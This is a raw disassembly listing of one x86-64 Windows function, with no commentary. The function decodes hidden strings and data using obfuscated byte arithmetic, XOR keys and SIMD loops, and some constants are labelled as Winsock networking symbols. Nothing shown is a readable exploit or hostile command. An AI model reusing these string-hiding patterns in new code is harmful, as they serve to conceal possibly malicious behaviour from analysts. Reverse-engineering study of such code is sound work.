jmp 0x14016ca2b
lea rdi, [rbp + 0x481]
movzx edx, r15b
lea rcx, [rbp + 0x7b8]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x14016ca43
mov rdx, rdi
lea rcx, [rbp + 0x7b8]
call fcn.14013ab10
nop
lea r8, [rbp + 0x758]
lea rdx, [rbp + 0x7b8]
mov rcx, qword [rsp + 0x20]
call fcn.140153a90
nop
lea rcx, [rbp + 0x7b8]
call fcn.1401362c0
mov rax, qword [rbp + 0x928]
mov rcx, qword [rsp + 0x30]
add rax, rcx
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x468], 0x2340013
mov dword [rbp + 0x46c], 0xa243d09
mov dword [rbp + 0x470], 0xd3f3b01
mov byte [rbp + 0x474], 0x90
xor eax, eax
mov qword [rbp + 0x475], rax
mov dword [rbp + 0x47d], eax
nop word [rax + rax]
mov r9, qword [0x1404e9d00]
mov r10, qword [0x1404e9cf8]
nop
xor edi, edi
cmp rdi, 0x19
jae 0x14016d531
movzx r11d, byte [rbp + rdi + 0x468]
mov edx, r11d
mov qword [rsp + 0x38], rdx
nop dword [rax]
cmp r9, rdi
ja 0x14016d528
lea rax, [r10 + 1]
cmp r9, rax
jae 0x14016cb38
movabs rcx, 0x12e6f9042512a99a
add rcx, rdi
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x36
mov qword [rbp + 0x58], rbx
jmp 0x14016cb72
je 0x14016d49f
lea rax, [r10 + 2]
cmp r9, rax
je 0x14016d408
lea rax, [r10 + 4]
cmp r9, rax
je 0x14016d3ce
lea rax, [r10 + 5]
cmp r9, rax
je 0x14016d386
lea rax, [r10 + 3]
cmp r9, rax
je 0x14016d35a
movzx r8d, dil
cmp r10, rdi
ja 0x14016d51f
lea rax, [r10 + 0x64]
cmp r9, rax
jae 0x14016cba1
lea ecx, [r8 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6e
add cl, r11b
movzx ebx, cl
jmp 0x14016cbe2
lea rcx, [r10 + 1]
cmp r9, rcx
je 0x14016d30b
lea rax, [r10 + 2]
cmp r9, rax
je 0x14016d2df
lea rax, [rcx + 1]
cmp r9, rax
je 0x14016d2c9
lea rax, [r10 + 3]
cmp r9, rax
je 0x14016d2ac
lea rax, [r10 + 4]
cmp r9, rax
je 0x14016d289
lea rax, [r10 + r9]
cmp rax, rdi
jbe 0x14016d02b
nop
lea rax, [r10 + 0x400]
cmp r9, rax
je 0x14016d00f
lea rax, [r10 + 8]
cmp r9, rax
je 0x14016cfe0
lea rax, [r10 + 0x1000]
cmp r9, rax
je 0x14016cfb7
lea rax, [r10 + 9]
cmp r9, rax
je 0x14016cf9b
lea rax, [r10 + 0x61]
cmp r9, rax
je 0x14016cf72
lea rax, [r10 + 0xa]
cmp r9, rax
je 0x14016cf56
lea rax, [r10 + 0x7a]
cmp r9, rax
je 0x14016cf39
lea r9, [r10 + 0x42]
lea r10, [r9 + 9]
lea rax, [r10 + 2]
cmp r9, rax
jb 0x14016d4f9
lea rax, [r10 + 0x64]
cmp r9, rax
jb 0x14016d4d9
lea rax, [r10 + 3]
cmp r9, rax
jb 0x14016cd66
lea rax, [r10 + 0x2a]
cmp r9, rax
jb 0x14016cd42
lea rax, [r10 + 0x40]
cmp r9, rax
jb 0x14016cd26
lea rax, [r10 + 1]
cmp r9, rax
jb 0x14016cee6
lea rax, [r10 + 0x42]
cmp r9, rax
jb 0x14016ce73
lea r9, [r10 + 6]
lea r10, [r9 + 0x2a]
lea rax, [r10 + 0x400]
cmp r9, rax
ja 0x14016ce57
lea rax, [r10 + 8]
cmp r9, rax
ja 0x14016ce35
lea rax, [r10 + 0x1000]
cmp r9, rax
ja 0x14016ce18
lea rax, [r10 + 9]
cmp r9, rax
ja 0x14016cdfc
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x14016cdd3
lea rax, [r10 + 0xa]
cmp r9, rax
ja 0x14016cdb7
lea rax, [r10 + 6]
cmp r9, rax
ja 0x14016cd8b
lea r9, [r10 + 0x42]
lea r10, [r9 + 9]
jmp 0x14016cbf0
lea ecx, [r8 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x52
add cl, r11b
movzx ebx, cl
jmp 0x14016cbe2
lea edx, [r8 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx ebx, cl
mov qword [rbp + 0x58], rbx
jmp 0x14016cb76
add r8b, 0x36
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea ebx, [r11 + r8]
sub bl, 0x7a
mov qword [rbp + 0x58], rbx
mov rdx, qword [rsp + 0x38]
jmp 0x14016cb00
sub r8b, 0x58
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov qword [rbp + 0x58], rcx
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
lea edx, [r8 + 0x74]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2c
add cl, dl
jmp 0x14016d3a2
add r8b, 0x40
movzx eax, r11b
and al, r8b
mov ecx, 0x20
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov qword [rbp + 0x58], rcx
add r9, r10
mov rbx, rcx
jmp 0x14016d3f0
add r8b, 0xc
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea ebx, [r8 + r11]
sub bl, 0x54
jmp 0x14016d3ec
lea edx, [r8 - 0x28]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
jmp 0x14016d426
sub r8b, 0x5c
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7c
add cl, r8b
mov qword [rbp + 0x58], rcx
jmp 0x14016d457
add r8b, 0x70
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea ebx, [r8 + r11]
sub bl, 0x10
jmp 0x14016d4bf
lea ecx, [r8 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2a
add cl, r11b
movzx ebx, cl
cmp r9, 0x80
jae 0x14016d24e
lea rax, [r10 + 0x10]
cmp r9, rax
jbe 0x14016d1c1
lea edx, [r8 + 0x54]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4c
add cl, dl
movzx ebx, cl
cmp r10, 9
jb 0x14016d23b
lea edx, [r8 + 0x5c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
add cl, cl
sub cl, 8
jmp 0x14016d323
lea edx, [r8 - 0x2e]
movzx eax, dl
and al, r11b
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx ebx, cl
lea rax, [r10 + r9]
cmp rax, 9
je 0x14016d26a
lea rcx, [r10 + 2]
cmp r9, rcx
jbe 0x14016d0ae
lea edx, [r8 - 0x4e]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
jmp 0x14016ce87
lea edx, [r8 + 0x64]
movzx eax, r11b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
jmp 0x14016d426
add r8b, 0x30
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea ebx, [r8 + r11]
sub bl, 0x50
jmp 0x14016d3ec
sub r8b, 4
movzx eax, r11b
and al, r8b
mov ecx, recvfrom
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov qword [rbp + 0x58], rcx
add r9, r10
mov rbx, rcx
jmp 0x14016d3f0
lea edx, [r8 - 0x38]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x78
add cl, dl
jmp 0x14016d3a2
sub r8b, 0x6c
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea ecx, [r8 + r11]
sub cl, 0xc
mov qword [rbp + 0x58], rcx
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
add r8b, 0x60
movzx eax, r11b
and al, r8b
mov ecx, gethostbyaddr
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov qword [rbp + 0x58], rcx
inc r10
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
lea edx, [r8 + 0x2c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x34
add cl, dl
jmp 0x14016d323
lea rax, [r10 + 4]
cmp r9, rax
jae 0x14016d04a
lea ecx, [r8 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x36
jmp 0x14016cefb
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14016d06f
add r8b, 0x44
movzx eax, r8b
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r8b
jmp 0x14016d4b9
inc rax
cmp r9, rax
jne 0x14016d093
sub r8b, 0x20
movzx eax, r8b
and al, r11b
add al, al
sub r8b, al
lea ebx, [r11 + r8]
sub bl, 0x20
jmp 0x14016d3ec
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14016cf01
lea edx, [r8 + 0x48]
mov ecx, 4
jmp 0x14016d393
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14016d0d3
lea edx, [r8 - 0x1a]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x4a
add cl, dl
jmp 0x14016d323
inc rax
cmp r9, rax
jne 0x14016d10a
add r8b, 0x1a
movzx eax, r11b
and al, r8b
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov qword [rbp + 0x58], rcx
inc r10
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14016d13c
add r8b, 0x4e
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea ecx, [r8 + r11]
sub cl, 0x22
mov qword [rbp + 0x58], rcx
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
cmp r9, rcx
jne 0x14016d16a
sub r8b, 0x4a
movzx eax, r11b
and al, r8b
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov qword [rbp + 0x58], rcx
add r9, r10
mov rbx, rcx
jmp 0x14016d3f0
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14016d195
add r8b, 0x52
movzx eax, r11b
and al, r8b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x3e
add cl, r8b
mov qword [rbp + 0x58], rcx
jmp 0x14016d457
lea rax, [r10 + 4]
cmp r9, rax
jne 0x14016ce8a
sub r8b, 0x7a
movzx eax, r11b
and al, r8b
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
jmp 0x14016d4bc
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14016d1e9
sub r8b, 0x78
movzx eax, r11b
and al, r8b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
jmp 0x14016d4bc
inc rax
cmp r9, rax
jne 0x14016d211
add r8b, 0x24
movzx eax, r11b
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r8b
jmp 0x14016d3ec
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14016cebe
lea edx, [r8 - 0x74]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
jmp 0x14016d3a2
mov byte [rbp + rdi + 0x468], bl
mov qword [rbp + 0x58], rbx
inc rdi
jmp 0x14016cae2
lea edx, [r8 - 0x70]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 8
add cl, cl
add cl, dl
jmp 0x14016d3a2
lea edx, [r8 - 0x3c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, r11b
sub cl, 0x5c
add cl, dl
jmp 0x14016d426
add r8b, 0x42
movzx eax, r8b
and al, r11b
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov qword [rbp + 0x58], rcx
jmp 0x14016d457
sub r8b, 0x26
movzx eax, r8b
and al, r11b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14016d3e9
lea ecx, [r8 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x1e
jmp 0x14016d39f
add r8b, 0x3e
movzx eax, r8b
and al, r11b
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, r8b
add cl, r11b
mov qword [rbp + 0x58], rcx
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
lea edx, [r8 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov qword [rbp + 0x58], rcx
sub r8b, 0xa
movzx eax, r11b
and al, r8b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov byte [rbp + rdi + 0x468], cl
inc r10
dec rdi
mov rbx, qword [rbp + 0x58]
inc rdi
jmp 0x14016cae2
lea edx, [rdi + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov qword [rbp + 0x58], rcx
inc r10
dec rdi
mov rbx, rcx
inc rdi
jmp 0x14016cae2
movzx r8d, dil
lea edx, [r8 - 0x2e]
mov ecx, 0x21
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov qword [rbp + 0x58], rcx
add r8b, 0x2a
movzx eax, r11b
and al, r8b
add al, al
sub cl, al
sub cl, 0x26
add cl, r11b
add cl, r8b
mov byte [rbp + rdi + 0x468], cl
add r9, r10
mov rbx, qword [rbp + 0x58]
jmp 0x14016d3f0
movabs rax, 0xaa1ec1254da7f66a
add rax, rdi
and dl, al
mov ecx, recvfrom
sub cl, dl
lea ebx, [rcx + rcx]
add bl, al
add bl, r11b
mov qword [rbp + 0x58], rbx
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14016cae2
movabs rax, 0x8450cf1d0382a336
add rax, rdi
and dl, al
add dl, dl
sub al, dl
lea ecx, [r11 + rax]
sub cl, 0x7a
movzx r8d, dil
mov qword [rbp + 0x58], rcx
add r8b, 0x5e
movzx eax, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
movzx eax, cl
mov byte [rbp + rdi + 0x468], al
inc r10
add rax, r10
sub rdi, rax
lea edx, [rdi - 8]
movzx eax, r11b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0x468], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rdi, rax
mov rbx, qword [rbp + 0x58]
movzx eax, byte [rbp + rdi + 0x468]
add rax, r10
add rdi, rax
inc rdi
jmp 0x14016cae2
movabs rax, 0x38b4eb0c6f37fcce
add rax, rdi
and dl, al
mov ecx, gethostbyaddr
sub cl, dl
add cl, cl
add cl, al
add cl, r11b
movzx ebx, cl
mov qword [rbp + 0x58], rbx
movzx eax, byte [rbp + rdi + 0x468]
add rax, r10
add rdi, rax
inc rdi
jmp 0x14016cae2
add r8b, 2
movzx eax, r11b
and al, r8b
add al, al
sub r11b, al
lea ebx, [r8 + r11]
sub bl, 0xe
mov qword [rbp + 0x58], rbx
jmp 0x14016cae0
sub r8b, 0x32
movzx eax, r11b
and al, r8b
mov ecx, gethostbyaddr
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
movzx ebx, cl
mov qword [rbp + 0x58], rbx
jmp 0x14016cad0
lea rbx, [rbp + 0x149f7e0]
jmp 0x14016d538
lea rbx, [rbp + 0x11ca17a]
jmp 0x14016d538
lea rbx, [rbp + 0x468]
movzx edx, sil
lea rcx, [rbp + 0x7d8]
call fcn.140136a10
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x14016d550
mov rdx, rbx
lea rcx, [rbp + 0x7d8]
call fcn.14013ab10
nop
lea r8, [rbp + 0x778]
lea rdx, [rbp + 0x7d8]
mov rcx, qword [rsp + 0x20]
call fcn.140153a90
nop
lea rcx, [rbp + 0x7d8]
call fcn.1401362c0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x738]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x738]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x738]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x88]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x738]
call fcn.1401a35a0
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x738]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x738]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x738]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xb0]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x738]
call fcn.1401a35a0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x758]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x758]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x758]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xd8]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x758]
call fcn.1401a35a0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x758]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x758]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x758]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x100]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x758]
call fcn.1401a35a0
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x778]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x778]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x778]
call fcn.14013e7f0
lea r9, [0x140167790]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x128]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x778]
call fcn.1401a35a0
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x778]
call fcn.14013e7d0
mov rdi, qword [rax]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x778]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x778]
call fcn.14013e7f0
lea r9, [0x140167770]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x150]
call fcn.1401a7440
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x778]
call fcn.1401a35a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
xor ebx, ebx
mov word [rbp + 0x2fe], bx
lea rcx, [rbp + 0x2f0]
call fcn.1401a2120
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
mov word [rbp + 0x30e], bx
mov ebx, dword [rbp + 0x748]
lea rcx, [rbp + 0x738]
call fcn.140135dc0
lea rcx, [0x140443e2f]
test rax, rax
cmovne rcx, rax
mov qword [rbp + 0x310], rcx
mov dword [rbp + 0x318], ebx
mov rdi, qword [rsp + 0x60]
mov r8, rdi
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x300]
call fcn.1401a4180
mov rbx, rax
movzx ecx, byte [rbp + 0xaa4]
test cl, cl
je 0x14016d8da
xor byte [rbp + 0xaa0], 0x35
xor byte [rbp + 0xaa1], 0x36
xor byte [rbp + 0xaa2], 0x37
xor byte [rbp + 0xaa3], 0x38
xor cl, 0x39
mov byte [rbp + 0xaa4], cl
mov r8, rdi
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x320]
call fcn.1401a2160
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x320]
call fcn.140135de0
nop
lea rcx, [rbp + 0x300]
call fcn.140135de0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
xor eax, eax
mov word [rbp + 0x33e], ax
mov ebx, dword [rbp + 0x768]
lea rcx, [rbp + 0x758]
call fcn.140135dc0
lea rcx, [0x140443e2f]
test rax, rax
cmovne rcx, rax
mov qword [rbp + 0x340], rcx
mov dword [rbp + 0x348], ebx
mov r8, rdi
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x330]
call fcn.1401a4180
mov rbx, rax
cmp byte [rbp + 0x1ec], 0
je 0x14016dae2
xor eax, eax
mov r8d, eax
cmp dword [0x14047f088], 2
jl 0x14016daa0
movdqa xmm4, xmmword [0x14044a8f0]
movdqa xmm2, xmmword [0x14044a760]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
mov eax, dword [0x14044a890]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e0]
xorps xmm2, xmm1
movd dword [rbp + 0x1e0], xmm2
movdqa xmm3, xmmword [0x14044a770]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14044a790]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14044a7f0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1e4]
xorps xmm2, xmm1
movd dword [rbp + 0x1e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1e0]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14016dab0
mov r8, rdi
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x350]
call fcn.1401a2160
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x350]
call fcn.140135de0
nop
lea rcx, [rbp + 0x330]
call fcn.140135de0
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
xor eax, eax
mov word [rbp + 0x36e], ax
mov ebx, dword [rbp + 0x788]
lea rcx, [rbp + 0x778]
call fcn.140135dc0
lea rcx, [0x140443e2f]
test rax, rax
cmovne rcx, rax
mov qword [rbp + 0x370], rcx
mov dword [rbp + 0x378], ebx
mov r8, rdi
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x360]
call fcn.1401a4180
mov rbx, rax
movzx ecx, byte [rsp + 0x5e]
test cl, cl
je 0x14016dbaf
xor byte [rsp + 0x58], 0x35
xor byte [rsp + 0x59], 0x36
xor byte [rsp + 0x5a], 0x37
xor byte [rsp + 0x5b], 0x38
xor byte [rsp + 0x5c], 0x39
xor byte [rsp + 0x5d], 0x3a
xor cl, 0x3b
mov byte [rsp + 0x5e], cl
mov r8, rdi
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x380]
call fcn.1401a2160
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x380]
call fcn.140135de0
nop
lea rcx, [rbp + 0x360]
call fcn.140135de0
mov r8, rdi
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2c0]
call fcn.1401a1ec0
nop
lea rcx, [rbp + 0x2f0]
call fcn.140135de0
nop
lea rcx, [rbp + 0x778]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x758]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x738]
call fcn.1401362c0
mov ecx, dword [rbp + 0xa98]
inc ecx
mov dword [rbp + 0xa98], ecx
mov rax, qword [rbp + 0x930]
sub rax, qword [rbp + 0x928]
sar rax, 3
movsxd rcx, ecx
mov qword [rsp + 0x30], rcx
cmp rcx, rax
mov rbx, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x48]
jb 0x14016b6f0
mov r15, qword [rsp + 0x60]
xor edi, edi
movzx eax, byte [rsp + 0x55]
test al, al
je 0x14016dca5
xor byte [rsp + 0x50], 0x35
xor byte [rsp + 0x51], 0x36
xor byte [rsp + 0x52], 0x37
xor byte [rsp + 0x53], 0x38
xor byte [rsp + 0x54], 0x39
xor al, 0x3a
mov byte [rsp + 0x55], al
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x390]
call fcn.1401a2160
nop
mov r9, r15
lea r8, [rbp + 0x2c0]
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.1401a4ba0
nop
lea rcx, [rbp + 0x390]
call fcn.140135de0
nop
lea rcx, [rbp + 0x2c0]
call fcn.140135de0
jmp 0x14016dcf1
xor edi, edi
lea rcx, [rbp + 0x920]
call fcn.140153f60
nop
lea rcx, [rbp + 0x920]
call fcn.140153f60
nop
lea rcx, [rbp + 0x718]
call fcn.1401362c0
movsd xmm0, qword [str.RFBgWOVXL_]
movsd qword [rbp + 0x1c0], xmm0
movzx eax, word [0x1404485e8]
mov word [rbp + 0x1c8], ax
movzx eax, byte [0x1404485ea]
mov byte [rbp + 0x1ca], al
movsd xmm0, qword [str.C_S_VjIS_L3.0C]
movsd qword [rbp + 0x1f0], xmm0
mov eax, dword [0x1404485f8]
mov dword [rbp + 0x1f8], eax
movzx eax, word [0x1404485fc]
mov word [rbp + 0x1fc], ax
movzx eax, byte [0x1404485fe]
mov byte [rbp + 0x1fe], al
mov eax, dword [0x14044a368]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14044a36c]
mov byte [rsp + 0x44], al
mov dword [rbp + 0x8b0], 0xf6fef0e3
mov dword [rbp + 0x8b4], 0xb186e5f7
mov dword [rbp + 0x8b8], 0xf0ecff84
mov dword [rbp + 0x8bc], 0xc6f581f5
mov dword [rbp + 0x8c0], 0xf89492ce
mov dword [rbp + 0x8c4], 0xcacac0f2
mov dword [rbp + 0x8c8], 0xc1c1eac7
mov dword [rbp + 0x8cc], 0xdbdddfdc
mov dword [rbp + 0x8d0], 0x4bc4d0d8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8d4], xmm0
mov byte [rbp + 0x8e4], al
movabs rsi, 0x99a7d42b34e79f92
movabs r14, 0x66e67584dc249c22
movabs r13, 0x3396cd2e72555cfe
movabs r12, 0xccf77c819eb6deb6
movzx edx, byte [rbp + 0xa98]
nop dword [rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, rdi
cmp rbx, 0x35
jae 0x14016ea52
movzx r10d, byte [rbp + rbx + 0x8b0]
mov edi, r10d
nop dword [rax]
cmp r8, rbx
ja 0x14016ea49
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14016de8b
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 2
jmp 0x14016ded2
je 0x14016e9cf
lea rax, [r9 + 3]
cmp r8, rax
je 0x14016e945
lea rax, [rcx + 1]
cmp r8, rax
je 0x14016e916
lea rax, [r9 + 2]
cmp r8, rax
